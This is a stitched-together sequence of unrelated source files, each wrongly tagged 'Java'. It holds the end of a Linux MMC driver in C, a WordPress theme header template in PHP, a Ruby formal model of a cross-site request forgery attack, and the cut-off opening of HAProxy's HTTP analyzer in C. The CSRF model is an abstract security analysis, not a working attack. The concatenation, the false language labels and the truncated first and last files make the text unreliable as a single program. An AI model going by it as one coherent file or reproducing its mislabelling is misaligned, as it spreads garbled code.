if (mmc_card_mmc(card) && !(card->ext_csd.erase_group_def & 1))
return card->pref_erase;
max_discard = mmc_do_calc_max_discard(card, MMC_ERASE_ARG);
if (mmc_can_trim(card)) {
max_trim = mmc_do_calc_max_discard(card, MMC_TRIM_ARG);
if (max_trim < max_discard)
max_discard = max_trim;
} else if (max_discard < card->erase_size) {
max_discard = 0;
}
pr_debug("%s: calculated max. discard sectors %u for timeout %u ms\n",
mmc_hostname(host), max_discard, host->max_busy_timeout);
return max_discard;
}
EXPORT_SYMBOL(mmc_calc_max_discard);
int mmc_set_blocklen(struct mmc_card *card, unsigned int blocklen)
{
struct mmc_command cmd = {0};
if (mmc_card_blockaddr(card) || mmc_card_ddr52(card))
return 0;
cmd.opcode = MMC_SET_BLOCKLEN;
cmd.arg = blocklen;
cmd.flags = MMC_RSP_SPI_R1 | MMC_RSP_R1 | MMC_CMD_AC;
return mmc_wait_for_cmd(card->host, &cmd, 5);
}
EXPORT_SYMBOL(mmc_set_blocklen);
int mmc_set_blockcount(struct mmc_card *card, unsigned int blockcount,
bool is_rel_write)
{
struct mmc_command cmd = {0};
cmd.opcode = MMC_SET_BLOCK_COUNT;
cmd.arg = blockcount & 0x0000FFFF;
if (is_rel_write)
cmd.arg |= 1 << 31;
cmd.flags = MMC_RSP_SPI_R1 | MMC_RSP_R1 | MMC_CMD_AC;
return mmc_wait_for_cmd(card->host, &cmd, 5);
}
EXPORT_SYMBOL(mmc_set_blockcount);
static void mmc_hw_reset_for_init(struct mmc_host *host)
{
if (!(host->caps & MMC_CAP_HW_RESET) || !host->ops->hw_reset)
return;
mmc_host_clk_hold(host);
host->ops->hw_reset(host);
mmc_host_clk_release(host);
}
int mmc_can_reset(struct mmc_card *card)
{
u8 rst_n_function;
if (mmc_card_sdio(card))
return 0;
if (mmc_card_mmc(card) && (card->host->caps & MMC_CAP_HW_RESET)) {
rst_n_function = card->ext_csd.rst_n_function;
if ((rst_n_function & EXT_CSD_RST_N_EN_MASK) !=
EXT_CSD_RST_N_ENABLED)
return 0;
}
return 1;
}
EXPORT_SYMBOL(mmc_can_reset);
static int mmc_do_hw_reset(struct mmc_host *host, int check)
{
struct mmc_card *card = host->card;
int ret;
if (!host->bus_ops->power_restore)
return -EOPNOTSUPP;
if (!card)
return -EINVAL;
if (!mmc_can_reset(card))
return -EOPNOTSUPP;
mmc_host_clk_hold(host);
mmc_set_clock(host, host->f_init);
if (mmc_card_mmc(card) && host->ops->hw_reset)
host->ops->hw_reset(host);
else
mmc_power_cycle(host, host->ocr_avail);
/* If the reset has happened, then a status command will fail */
if (check) {
struct mmc_command cmd = {0};
int err;
cmd.opcode = MMC_SEND_STATUS;
if (!mmc_host_is_spi(card->host))
cmd.arg = card->rca << 16;
cmd.flags = MMC_RSP_SPI_R2 | MMC_RSP_R1 | MMC_CMD_AC;
err = mmc_wait_for_cmd(card->host, &cmd, 0);
if (!err) {
mmc_host_clk_release(host);
return -ENOSYS;
}
}
if (mmc_host_is_spi(host)) {
host->ios.chip_select = MMC_CS_HIGH;
host->ios.bus_mode = MMC_BUSMODE_PUSHPULL;
} else {
host->ios.chip_select = MMC_CS_DONTCARE;
host->ios.bus_mode = MMC_BUSMODE_OPENDRAIN;
}
host->ios.bus_width = MMC_BUS_WIDTH_1;
host->ios.timing = MMC_TIMING_LEGACY;
mmc_set_ios(host);
mmc_host_clk_release(host);
mmc_claim_host(host);
ret = host->bus_ops->power_restore(host);
mmc_release_host(host);
return ret;
}
/*
* mmc_cmdq_hw_reset: Helper API for doing
* reset_all of host and reinitializing card.
* This must be called with mmc_claim_host
* acquired by the caller.
*/
int mmc_cmdq_hw_reset(struct mmc_host *host)
{
if (!host->bus_ops->power_restore)
return -EOPNOTSUPP;
mmc_power_cycle(host, host->ocr_avail);
mmc_select_voltage(host, host->card->ocr);
return host->bus_ops->power_restore(host);
}
EXPORT_SYMBOL(mmc_cmdq_hw_reset);
int mmc_hw_reset(struct mmc_host *host)
{
return mmc_do_hw_reset(host, 0);
}
EXPORT_SYMBOL(mmc_hw_reset);
int mmc_hw_reset_check(struct mmc_host *host)
{
return mmc_do_hw_reset(host, 1);
}
EXPORT_SYMBOL(mmc_hw_reset_check);
static int mmc_rescan_try_freq(struct mmc_host *host, unsigned freq)
{
host->f_init = freq;
#ifdef CONFIG_MMC_DEBUG
pr_info("%s: %s: trying to init card at %u Hz\n",
mmc_hostname(host), __func__, host->f_init);
#endif
mmc_power_up(host, host->ocr_avail);
/*
* Some eMMCs (with VCCQ always on) may not be reset after power up, so
* do a hardware reset if possible.
*/
mmc_hw_reset_for_init(host);
/*
* sdio_reset sends CMD52 to reset card. Since we do not know
* if the card is being re-initialized, just send it. CMD52
* should be ignored by SD/eMMC cards.
*/
sdio_reset(host);
mmc_go_idle(host);
mmc_send_if_cond(host, host->ocr_avail);
/* Order's important: probe SDIO, then SD, then MMC */
if (!mmc_attach_sdio(host))
return 0;
if (!mmc_attach_sd(host))
return 0;
if (!mmc_attach_mmc(host))
return 0;
mmc_power_off(host);
return -EIO;
}
int _mmc_detect_card_removed(struct mmc_host *host)
{
int ret;
if (host->caps & MMC_CAP_NONREMOVABLE)
return 0;
if (!host->card || mmc_card_removed(host->card))
return 1;
ret = host->bus_ops->alive(host);
/*
* Card detect status and alive check may be out of sync if card is
* removed slowly, when card detect switch changes while card/slot
* pads are still contacted in hardware (refer to "SD Card Mechanical
* Addendum, Appendix C: Card Detection Switch"). So reschedule a
* detect work 200ms later for this case.
*/
if (!ret && host->ops->get_cd && !host->ops->get_cd(host)) {
mmc_detect_change(host, msecs_to_jiffies(200));
pr_debug("%s: card removed too slowly\n", mmc_hostname(host));
}
if (ret) {
mmc_card_set_removed(host->card);
pr_debug("%s: card remove detected\n", mmc_hostname(host));
}
return ret;
}
int mmc_detect_card_removed(struct mmc_host *host)
{
struct mmc_card *card = host->card;
int ret;
WARN_ON(!host->claimed);
if (!card)
return 1;
ret = mmc_card_removed(card);
/*
* The card will be considered unchanged unless we have been asked to
* detect a change or host requires polling to provide card detection.
*/
if (!host->detect_change && !(host->caps & MMC_CAP_NEEDS_POLL))
return ret;
host->detect_change = 0;
if (!ret) {
ret = _mmc_detect_card_removed(host);
if (ret && (host->caps & MMC_CAP_NEEDS_POLL)) {
/*
* Schedule a detect work as soon as possible to let a
* rescan handle the card removal.
*/
cancel_delayed_work(&host->detect);
_mmc_detect_change(host, 0, false);
}
}
return ret;
}
EXPORT_SYMBOL(mmc_detect_card_removed);
void mmc_rescan(struct work_struct *work)
{
struct mmc_host *host =
container_of(work, struct mmc_host, detect.work);
if (host->trigger_card_event && host->ops->card_event) {
host->ops->card_event(host);
host->trigger_card_event = false;
}
if (host->rescan_disable)
return;
/* If there is a non-removable card registered, only scan once */
if ((host->caps & MMC_CAP_NONREMOVABLE) && host->rescan_entered)
return;
host->rescan_entered = 1;
mmc_bus_get(host);
/*
* if there is a _removable_ card registered, check whether it is
* still present
*/
if (host->bus_ops && !host->bus_dead
&& !(host->caps & MMC_CAP_NONREMOVABLE))
host->bus_ops->detect(host);
host->detect_change = 0;
/*
* Let mmc_bus_put() free the bus/bus_ops if we've found that
* the card is no longer present.
*/
mmc_bus_put(host);
mmc_bus_get(host);
/* if there still is a card present, stop here */
if (host->bus_ops != NULL) {
mmc_bus_put(host);
goto out;
}
/*
* Only we can add a new handler, so it's safe to
* release the lock here.
*/
mmc_bus_put(host);
if (!(host->caps & MMC_CAP_NONREMOVABLE) && host->ops->get_cd &&
host->ops->get_cd(host) == 0) {
mmc_claim_host(host);
mmc_power_off(host);
mmc_release_host(host);
goto out;
}
mmc_claim_host(host);
(void) mmc_rescan_try_freq(host, host->f_min);
mmc_release_host(host);
out:
if (host->caps & MMC_CAP_NEEDS_POLL)
mmc_schedule_delayed_work(&host->detect, HZ);
}
void mmc_start_host(struct mmc_host *host)
{
mmc_claim_host(host);
host->f_init = max(freqs[0], host->f_min);
host->rescan_disable = 0;
host->ios.power_mode = MMC_POWER_UNDEFINED;
if (host->caps2 & MMC_CAP2_NO_PRESCAN_POWERUP)
mmc_power_off(host);
else
mmc_power_up(host, host->ocr_avail);
mmc_gpiod_request_cd_irq(host);
mmc_release_host(host);
_mmc_detect_change(host, 0, false);
}
void mmc_stop_host(struct mmc_host *host)
{
#ifdef CONFIG_MMC_DEBUG
unsigned long flags;
spin_lock_irqsave(&host->lock, flags);
host->removed = 1;
spin_unlock_irqrestore(&host->lock, flags);
#endif
if (host->slot.cd_irq >= 0)
disable_irq(host->slot.cd_irq);
host->rescan_disable = 1;
cancel_delayed_work_sync(&host->detect);
mmc_flush_scheduled_work();
/* clear pm flags now and let card drivers set them as needed */
host->pm_flags = 0;
mmc_bus_get(host);
if (host->bus_ops && !host->bus_dead) {
/* Calling bus_ops->remove() with a claimed host can deadlock */
host->bus_ops->remove(host);
mmc_claim_host(host);
mmc_detach_bus(host);
mmc_power_off(host);
mmc_release_host(host);
mmc_bus_put(host);
return;
}
mmc_bus_put(host);
BUG_ON(host->card);
mmc_power_off(host);
}
int mmc_power_save_host(struct mmc_host *host)
{
int ret = 0;
#ifdef CONFIG_MMC_DEBUG
pr_info("%s: %s: powering down\n", mmc_hostname(host), __func__);
#endif
mmc_bus_get(host);
if (!host->bus_ops || host->bus_dead) {
mmc_bus_put(host);
return -EINVAL;
}
if (host->bus_ops->power_save)
ret = host->bus_ops->power_save(host);
mmc_bus_put(host);
mmc_power_off(host);
return ret;
}
EXPORT_SYMBOL(mmc_power_save_host);
int mmc_power_restore_host(struct mmc_host *host)
{
int ret;
#ifdef CONFIG_MMC_DEBUG
pr_info("%s: %s: powering up\n", mmc_hostname(host), __func__);
#endif
mmc_bus_get(host);
if (!host->bus_ops || host->bus_dead) {
mmc_bus_put(host);
return -EINVAL;
}
mmc_power_up(host, host->card->ocr);
mmc_claim_host(host);
ret = host->bus_ops->power_restore(host);
mmc_release_host(host);
mmc_bus_put(host);
return ret;
}
EXPORT_SYMBOL(mmc_power_restore_host);
/*
* Add barrier request to the requests in cache
*/
int mmc_cache_barrier(struct mmc_card *card)
{
struct mmc_host *host = card->host;
int err = 0;
if (!card->ext_csd.cache_ctrl ||
(card->quirks & MMC_QUIRK_CACHE_DISABLE))
goto out;
if (!mmc_card_mmc(card))
goto out;
if (!card->ext_csd.barrier_en)
return -ENOTSUPP;
/*
* If a device receives maximum supported barrier
* requests, a barrier command is treated as a
* flush command. Hence, it is betetr to use
* flush timeout instead a generic CMD6 timeout
*/
err = mmc_switch(card, EXT_CSD_CMD_SET_NORMAL,
EXT_CSD_FLUSH_CACHE, 0x2, 0);
if (err)
pr_err("%s: cache barrier error %d\n",
mmc_hostname(host), err);
out:
return err;
}
EXPORT_SYMBOL(mmc_cache_barrier);
/*
* Flush the cache to the non-volatile storage.
*/
int mmc_flush_cache(struct mmc_card *card)
{
int err = 0;
if (mmc_card_mmc(card) &&
(card->ext_csd.cache_size > 0) &&
(card->ext_csd.cache_ctrl & 1) &&
(!(card->quirks & MMC_QUIRK_CACHE_DISABLE))) {
err = mmc_switch(card, EXT_CSD_CMD_SET_NORMAL,
EXT_CSD_FLUSH_CACHE, 1, 0);
if (err == -ETIMEDOUT) {
pr_err("%s: cache flush timeout\n",
mmc_hostname(card->host));
err = mmc_interrupt_hpi(card);
if (err) {
pr_err("%s: mmc_interrupt_hpi() failed (%d)\n",
mmc_hostname(card->host), err);
err = -ENODEV;
}
} else if (err) {
pr_err("%s: cache flush error %d\n",
mmc_hostname(card->host), err);
}
}
return err;
}
EXPORT_SYMBOL(mmc_flush_cache);
#ifdef CONFIG_PM
/* Do the card removal on suspend if card is assumed removeable
* Do that in pm notifier while userspace isn't yet frozen, so we will be able
to sync the card.
*/
int mmc_pm_notify(struct notifier_block *notify_block,
unsigned long mode, void *unused)
{
struct mmc_host *host = container_of(
notify_block, struct mmc_host, pm_notify);
unsigned long flags;
int err = 0;
switch (mode) {
case PM_HIBERNATION_PREPARE:
case PM_SUSPEND_PREPARE:
case PM_RESTORE_PREPARE:
spin_lock_irqsave(&host->lock, flags);
host->rescan_disable = 1;
spin_unlock_irqrestore(&host->lock, flags);
cancel_delayed_work_sync(&host->detect);
if (!host->bus_ops)
break;
/* Validate prerequisites for suspend */
if (host->bus_ops->pre_suspend)
err = host->bus_ops->pre_suspend(host);
if (!err)
break;
/* Calling bus_ops->remove() with a claimed host can deadlock */
host->bus_ops->remove(host);
mmc_claim_host(host);
mmc_detach_bus(host);
mmc_power_off(host);
mmc_release_host(host);
host->pm_flags = 0;
break;
case PM_POST_SUSPEND:
case PM_POST_HIBERNATION:
case PM_POST_RESTORE:
spin_lock_irqsave(&host->lock, flags);
host->rescan_disable = 0;
spin_unlock_irqrestore(&host->lock, flags);
_mmc_detect_change(host, 0, false);
}
return 0;
}
#endif
/**
* mmc_init_context_info() - init synchronization context
* @host: mmc host
*
* Init struct context_info needed to implement asynchronous
* request mechanism, used by mmc core, host driver and mmc requests
* supplier.
*/
void mmc_init_context_info(struct mmc_host *host)
{
spin_lock_init(&host->context_info.lock);
host->context_info.is_new_req = false;
host->context_info.is_done_rcv = false;
host->context_info.is_waiting_last_req = false;
init_waitqueue_head(&host->context_info.wait);
}
#ifdef CONFIG_MMC_EMBEDDED_SDIO
void mmc_set_embedded_sdio_data(struct mmc_host *host,
struct sdio_cis *cis,
struct sdio_cccr *cccr,
struct sdio_embedded_func *funcs,
int num_funcs)
{
host->embedded_sdio_data.cis = cis;
host->embedded_sdio_data.cccr = cccr;
host->embedded_sdio_data.funcs = funcs;
host->embedded_sdio_data.num_funcs = num_funcs;
}
EXPORT_SYMBOL(mmc_set_embedded_sdio_data);
#endif
static int __init mmc_init(void)
{
int ret;
workqueue = alloc_ordered_workqueue("kmmcd", 0);
if (!workqueue)
return -ENOMEM;
ret = mmc_register_bus();
if (ret)
goto destroy_workqueue;
ret = mmc_register_host_class();
if (ret)
goto unregister_bus;
ret = sdio_register_bus();
if (ret)
goto unregister_host_class;
return 0;
unregister_host_class:
mmc_unregister_host_class();
unregister_bus:
mmc_unregister_bus();
destroy_workqueue:
destroy_workqueue(workqueue);
return ret;
}
static void __exit mmc_exit(void)
{
sdio_unregister_bus();
mmc_unregister_host_class();
mmc_unregister_bus();
destroy_workqueue(workqueue);
}
subsys_initcall(mmc_init);
module_exit(mmc_exit);
MODULE_LICENSE("GPL");
| Java |
<?php
/**
* Created by PhpStorm.
* User: Anh Tuan
* Date: 7/24/14
* Time: 3:45 PM
*/
global $theme_options_data;
$logo_id = $theme_options_data['thim_logo'];
// The value may be a URL to the image (for the default parameter)
// or an attachment ID to the selected image.
$logo_src = $logo_id; // For the default value
if ( is_numeric( $logo_id ) ) {
$imageAttachment = wp_get_attachment_image_src( $logo_id, 'full' );
$logo_src = $imageAttachment[0];
}
$sticky_logo_id = $theme_options_data['thim_sticky_logo'];
// The value may be a URL to the image (for the default parameter)
// or an attachment ID to the selected image.
$sticky_logo_src = $sticky_logo_id; // For the default value
if ( is_numeric( $sticky_logo_id ) ) {
$imageAttachment = wp_get_attachment_image_src( $sticky_logo_id, 'full' );
$sticky_logo_src = $imageAttachment[0];
}
?>
<?php
if ( isset( $theme_options_data['thim_header_position'] ) && $theme_options_data['thim_header_position'] == 'header_after_slider' && is_active_sidebar( 'banner_header' ) ) {
dynamic_sidebar( 'banner_header' );
}
?>
<header id="masthead" class="site-header <?php if ( isset( $theme_options_data['thim_header_position'] ) && $theme_options_data['thim_header_position'] <> '' ) {
echo $theme_options_data['thim_header_position'];
}
if ( isset( $theme_options_data['thim_config_height_sticky'] ) && $theme_options_data['thim_config_height_sticky'] <> '' ) {
echo ' ' . $theme_options_data['thim_config_height_sticky'];
}
if ( isset( $theme_options_data['thim_config_att_sticky'] ) && $theme_options_data['thim_config_att_sticky'] <> '' ) {
echo ' ' . $theme_options_data['thim_config_att_sticky'];
} ?>" role="banner">
<?php if ( isset( $theme_options_data['thim_header_layout'] ) && $theme_options_data['thim_header_layout'] == 'boxed' ) {
echo "<div class=\"container header_boxed\">";
}
?>
<?php
$width_topsidebar_left = 5;
if ( isset( $theme_options_data['width_left_top_sidebar'] ) ) {
$width_topsidebar_left = $theme_options_data['width_left_top_sidebar'];
}
$width_topsidebar_right = 12 - $width_topsidebar_left;
if ( isset( $theme_options_data['thim_topbar_show'] ) && $theme_options_data['thim_topbar_show'] == '1' ) {
?>
<?php if ( ( is_active_sidebar( 'top_right_sidebar' ) ) || ( is_active_sidebar( 'top_left_sidebar' ) ) ) : ?>
<div class="top-header">
<?php if ( isset( $theme_options_data['thim_header_layout'] ) && $theme_options_data['thim_header_layout'] == 'wide' ) {
echo "<div class=\"container\"><div class=\"row\">";
}
?>
<?php if ( is_active_sidebar( 'top_left_sidebar' ) ) : ?>
<div class="col-sm-<?php echo $width_topsidebar_left; ?> top_left">
<ul class="top-left-menu">
<?php dynamic_sidebar( 'top_left_sidebar' ); ?>
</ul>
</div><!-- col-sm-6 -->
<?php endif; ?>
<?php if ( is_active_sidebar( 'top_right_sidebar' ) ) : ?>
<div class="col-sm-<?php echo $width_topsidebar_right; ?> top_right">
<ul class="top-right-menu">
<?php dynamic_sidebar( 'top_right_sidebar' ); ?>
</ul>
</div><!-- col-sm-6 -->
<?php endif; ?>
<?php if ( isset( $theme_options_data['thim_header_layout'] ) && $theme_options_data['thim_header_layout'] == 'wide' ) {
echo "</div></div>";
}
?>
</div><!--End/div.top-->
<?php
endif;
}
?>
<?php
$width_logo = 3;
if ( isset( $theme_options_data['thim_column_logo'] ) ) {
$width_logo = $theme_options_data['thim_column_logo'];
}
$width_menu = 12 - $width_logo;
?>
<div class="wapper_logo">
<div class="container tm-table">
<?php if ( is_active_sidebar( 'header_left' ) ) : ?>
<div class="table_cell">
<div class="header_left">
<?php dynamic_sidebar( 'header_left' ); ?>
</div>
</div><!-- col-sm-6 -->
<?php endif; ?>
<div class="menu-mobile-effect navbar-toggle" data-effect="mobile-effect">
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</div>
<div class="table_cell table_cell-center sm-logo">
<?php if ( is_single() ) {
echo '<h2 class="header_logo">';
} else {
echo '<h1 class="header_logo">';
} ?>
<a href="<?php echo esc_url( home_url( '/' ) ); ?>" title="<?php echo esc_attr( get_bloginfo( 'name', 'display' ) ); ?> - <?php bloginfo( 'description' ); ?>" rel="home">
<?php
if ( isset( $logo_src ) && $logo_src ) {
$aloxo_logo_size = @getimagesize( $logo_src );
$width = $aloxo_logo_size[0];
$height = $aloxo_logo_size[1];
$site_title = esc_attr( get_bloginfo( 'name', 'display' ) );
echo '<img src="' . $logo_src . '" alt="' . $site_title . '" width="' . $width . '" height="' . $height . '" />';
} else {
bloginfo( 'name' );
} ?>
</a>
<?php if ( is_single() ) {
echo '</h2>';
} else {
echo '</h1>';
} ?>
</div>
<?php if ( is_active_sidebar( 'header_right' ) ) : ?>
<div class="table_cell right_header">
<div class="header_right">
<?php dynamic_sidebar( 'header_right' ); ?>
</div>
</div><!-- col-sm-6 -->
<?php endif; ?>
<div id="header-search-form-input" class="main-header-search-form-input">
<form role="search" method="get" action="<?php echo get_site_url(); ?>">
<input type="text" value="" name="s" id="s" placeholder="<?php echo __( 'Search the site or press ESC to cancel.', 'aloxo' ); ?>" class="form-control ob-search-input" autocomplete="off" />
<span class="header-search-close"><i class="fa fa-times"></i></span>
</form>
<ul class="ob_list_search">
</ul>
</div>
</div>
<!--end container tm-table-->
</div>
<!--end wapper-logo-->
<div class="navigation affix-top" <?php if ( isset( $theme_options_data['thim_header_sticky'] ) && $theme_options_data['thim_header_sticky'] == 1 ) {
echo 'data-spy="affix" data-offset-top="' . $theme_options_data['thim_header_height_sticky'] . '" ';
} ?>>
<!-- <div class="main-menu"> -->
<div class="container tm-table">
<div class="col-sm-<?php echo $width_logo ?> table_cell sm-logo-affix">
<?php
echo '<h2 class="header_logo">';
?>
<a href="<?php echo esc_url( home_url( '/' ) ); ?>" title="<?php echo esc_attr( get_bloginfo( 'name', 'display' ) ); ?> - <?php bloginfo( 'description' ); ?>" rel="home">
<?php
if ( isset( $sticky_logo_src ) ) {
if ( $sticky_logo_src ) {
$aloxo_logo_size = @getimagesize( $sticky_logo_src );
$width = $aloxo_logo_size[0];
$height = $aloxo_logo_size[1];
$site_title = esc_attr( get_bloginfo( 'name', 'display' ) );
echo '<img src="' . $sticky_logo_src . '" alt="' . $site_title . '" width="' . $width . '" height="' . $height . '" />';
} else {
$aloxo_logo_size = @getimagesize( $logo_src );
$width = $aloxo_logo_size[0];
$height = $aloxo_logo_size[1];
$site_title = esc_attr( get_bloginfo( 'name', 'display' ) );
echo '<img src="' . $logo_src . '" alt="' . $site_title . '" width="' . $width . '" height="' . $height . '" />';
}
}
?>
</a>
<?php
echo '</h2>';
?>
</div>
<nav class="col-sm-<?php echo $width_menu ?> table_cell" role="navigation">
<?php get_template_part( 'inc/header/main_menu' ); ?>
</nav>
</div>
<!-- </div> -->
</div>
<?php if ( isset( $theme_options_data['thim_header_layout'] ) && $theme_options_data['thim_header_layout'] == 'boxed' ) {
echo "</div>";
}
?>
</header>
| Java |
# attack_csrf.rb
# model of a cross-site request forgery attack
require 'sdsl/view.rb'
u = mod :User do
stores set(:intentsA, :URI)
invokes(:visitA,
# user only types dest address that he/she intends to visit
:when => [:intentsA.contains(o.destA)])
end
goodServer = mod :TrustedServer do
stores :cookies, :Op, :Cookie
stores :addrA, :Hostname
stores set(:protected, :Op)
creates :DOM
creates :Cookie
exports(:httpReqA,
:args => [item(:cookie, :Cookie),
item(:addrA, :URI)],
# if op is protected, only accept when it provides a valid cookie
:when => [implies(:protected.contains(o),
o.cookie.eq(:cookies[o]))])
invokes(:httpRespA,
:when => [triggeredBy :httpReqA])
end
badServer = mod :MaliciousServer do
stores :addrA, :Hostname
creates :DOM
exports(:httpReqA2,
:args => [item(:cookie, :Cookie),
item(:addrA, :URI)])
invokes(:httpRespA,
:when => [triggeredBy :httpReqA2])
end
goodClient = mod :Client do
stores :cookies, :URI, :Cookie
exports(:visitA,
:args => [item(:destA, :URI)])
exports(:httpRespA,
:args => [item(:dom, :DOM),
item(:addrA, :URI)])
invokes([:httpReqA, :httpReqA2],
:when => [
# req always contains any associated cookie
implies(some(:cookies[o.addrA]),
o.cookie.eq(:cookies[o.addrA])),
disj(
# sends a http request only when
# the user initiates a connection
conj(triggeredBy(:visitA),
o.addrA.eq(trig.destA)),
# or in response to a src tag
conjs([triggeredBy(:httpRespA),
trig.dom.tags.src.contains(o.addrA)]
))
])
end
dom = datatype :DOM do
field set(:tags, :HTMLTag)
extends :Payload
end
addr = datatype :Addr do end
uri = datatype :URI do
field item(:addr, :Addr)
field set(:vals, :Payload)
end
imgTag = datatype :ImgTag do
field item(:src, :URI)
extends :HTMLTag
end
tag = datatype :HTMLTag do setAbstract end
cookie = datatype :Cookie do extends :Payload end
otherPayload = datatype :OtherPayload do extends :Payload end
payload = datatype :Payload do setAbstract end
VIEW_CSRF = view :AttackCSRF do
modules u, goodServer, badServer, goodClient
trusted goodServer, goodClient, u
data uri, :Hostname, cookie, otherPayload, payload, dom, tag, imgTag, addr
end
drawView VIEW_CSRF, "csrf.dot"
dumpAlloy VIEW_CSRF, "csrf.als"
# puts goodServer
# puts badServer
# puts goodClient
# writeDot mods
| Java |
/*
* HTTP protocol analyzer
*
* Copyright 2000-2011 Willy Tarreau <w@1wt.eu>
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version
* 2 of the License, or (at your option) any later version.
*
*/
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <syslog.h>
#include <time.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <netinet/tcp.h>
#include <common/appsession.h>
#include <common/base64.h>
#include <common/chunk.h>
#include <common/compat.h>
#include <common/config.h>
#include <common/debug.h>
#include <common/memory.h>
#include <common/mini-clist.h>
#include <common/standard.h>
#include <common/ticks.h>
#include <common/time.h>
#include <common/uri_auth.h>
#include <common/version.h>
#include <types/capture.h>
#include <types/global.h>
#include <proto/acl.h>
#include <proto/arg.h>
#include <proto/auth.h>
#include <proto/backend.h>
#include <proto/channel.h>
#include <proto/checks.h>
#include <proto/compression.h>
#include <proto/dumpstats.h>
#include <proto/fd.h>
#include <proto/frontend.h>
#include <proto/log.h>
#include <proto/hdr_idx.h>
#include <proto/pattern.h>
#include <proto/proto_tcp.h>
#include <proto/proto_http.h>
#include <proto/proxy.h>
#include <proto/queue.h>
#include <proto/sample.h>
#include <proto/server.h>
#include <proto/session.h>
#include <proto/stream_interface.h>
#include <proto/task.h>
#include <proto/pattern.h>
const char HTTP_100[] =
"HTTP/1.1 100 Continue\r\n\r\n";
const struct chunk http_100_chunk = {
.str = (char *)&HTTP_100,
.len = sizeof(HTTP_100)-1
};
/* Warning: no "connection" header is provided with the 3xx messages below */
const char *HTTP_301 =
"HTTP/1.1 301 Moved Permanently\r\n"
"Content-length: 0\r\n"
"Location: "; /* not terminated since it will be concatenated with the URL */
const char *HTTP_302 =
"HTTP/1.1 302 Found\r\n"
"Cache-Control: no-cache\r\n"
"Content-length: 0\r\n"
"Location: "; /* not terminated since it will be concatenated with the URL */
/* same as 302 except that the browser MUST retry with the GET method */
const char *HTTP_303 =
"HTTP/1.1 303 See Other\r\n"
"Cache-Control: no-cache\r\n"
"Content-length: 0\r\n"
"Location: "; /* not terminated since it will be concatenated with the URL */
/* same as 302 except that the browser MUST retry with the same method */
const char *HTTP_307 =
"HTTP/1.1 307 Temporary Redirect\r\n"
"Cache-Control: no-cache\r\n"
"Content-length: 0\r\n"
"Location: "; /* not terminated since it will be concatenated with the URL */
/* same as 301 except that the browser MUST retry with the same method */
const char *HTTP_308 =
"HTTP/1.1 308 Permanent Redirect\r\n"
"Content-length: 0\r\n"
"Location: "; /* not terminated since it will be concatenated with the URL */
/* Warning: this one is an sprintf() fmt string, with <realm> as its only argument */
const char *HTTP_401_fmt =
"HTTP/1.0 401 Unauthorized\r\n"
"Cache-Control: no-cache\r\n"
"Connection: close\r\n"
"Content-Type: text/html\r\n"
"WWW-Authenticate: Basic realm=\"%s\"\r\n"
"\r\n"
"<html><body><h1>401 Unauthorized</h1>\nYou need a valid user and password to access this content.\n</body></html>\n";
const char *HTTP_407_fmt =
"HTTP/1.0 407 Unauthorized\r\n"
"Cache-Control: no-cache\r\n"
"Connection: close\r\n"
"Content-Type: text/html\r\n"
"Proxy-Authenticate: Basic realm=\"%s\"\r\n"
"\r\n"
"<html><body><h1>401 Unauthorized</h1>\nYou need a valid user and password to access this content.\n</body></html>\n";
const int http_err_codes[HTTP_ERR_SIZE] = {
[HTTP_ERR_200] = 200, /* used by "monitor-uri" */
[HTTP_ERR_400] = 400,
[HTTP_ERR_403] = 403,
[HTTP_ERR_408] = 408,
[HTTP_ERR_500] = 500,
[HTTP_ERR_502] = 502,
[HTTP_ERR_503] = 503,
[HTTP_ERR_504] = 504,
};
static const char *http_err_msgs[HTTP_ERR_SIZE] = {
[HTTP_ERR_200] =
"HTTP/1.0 200 OK\r\n"
"Cache-Control: no-cache\r\n"
"Connection: close\r\n"
"Content-Type: text/html\r\n"
"\r\n"
"<html><body><h1>200 OK</h1>\nService ready.\n</body></html>\n",
[HTTP_ERR_400] =
"HTTP/1.0 400 Bad request\r\n"
"Cache-Control: no-cache\r\n"
"Connection: close\r\n"
"Content-Type: text/html\r\n"
"\r\n"
"<html><body><h1>400 Bad request</h1>\nYour browser sent an invalid request.\n</body></html>\n",
[HTTP_ERR_403] =
"HTTP/1.0 403 Forbidden\r\n"
"Cache-Control: no-cache\r\n"
"Connection: close\r\n"
"Content-Type: text/html\r\n"
"\r\n"
"<html><body><h1>403 Forbidden</h1>\nRequest forbidden by administrative rules.\n</body></html>\n",
[HTTP_ERR_408] =
"HTTP/1.0 408 Request Time-out\r\n"
"Cache-Control: no-cache\r\n"
"Connection: close\r\n"
"Content-Type: text/html\r\n"
"\r\n"
"<html><body><h1>408 Request Time-out</h1>\nYour browser didn't send a complete request in time.\n</body></html>\n",
[HTTP_ERR_500] =
"HTTP/1.0 500 Server Error\r\n"
"Cache-Control: no-cache\r\n"
"Connection: close\r\n"
"Content-Type: text/html\r\n"
"\r\n"
"<html><body><h1>500 Server Error</h1>\nAn internal server error occured.\n</body></html>\n",
[HTTP_ERR_502] =
"HTTP/1.0 502 Bad Gateway\r\n"
"Cache-Control: no-cache\r\n"
"Connection: close\r\n"
"Content-Type: text/html\r\n"
"\r\n"
"<html><body><h1>502 Bad Gateway</h1>\nThe server returned an invalid or incomplete response.\n</body></html>\n",
[HTTP_ERR_503] =
"HTTP/1.0 503 Service Unavailable\r\n"
"Cache-Control: no-cache\r\n"
"Connection: close\r\n"
"Content-Type: text/html\r\n"
"\r\n"
"<html><body><h1>503 Service Unavailable</h1>\nNo server is available to handle this request.\n</body></html>\n",
[HTTP_ERR_504] =
"HTTP/1.0 504 Gateway Time-out\r\n"
"Cache-Control: no-cache\r\n"
"Connection: close\r\n"
"Content-Type: text/html\r\n"
"\r\n"
"<html><body><h1>504 Gateway Time-out</h1>\nThe server didn't respond in time.\n</body></html>\n",
};
/* status codes available for the stats admin page (strictly 4 chars length) */
const char *stat_status_codes[STAT_STATUS_SIZE] = {
[STAT_STATUS_DENY] = "DENY",
[STAT_STATUS_DONE] = "DONE",
[STAT_STATUS_ERRP] = "ERRP",
[STAT_STATUS_EXCD] = "EXCD",
[STAT_STATUS_NONE] = "NONE",
[STAT_STATUS_PART] = "PART",
[STAT_STATUS_UNKN] = "UNKN",
};
/* List head of all known action keywords for "http-request" */
struct http_req_action_kw_list http_req_keywords = {
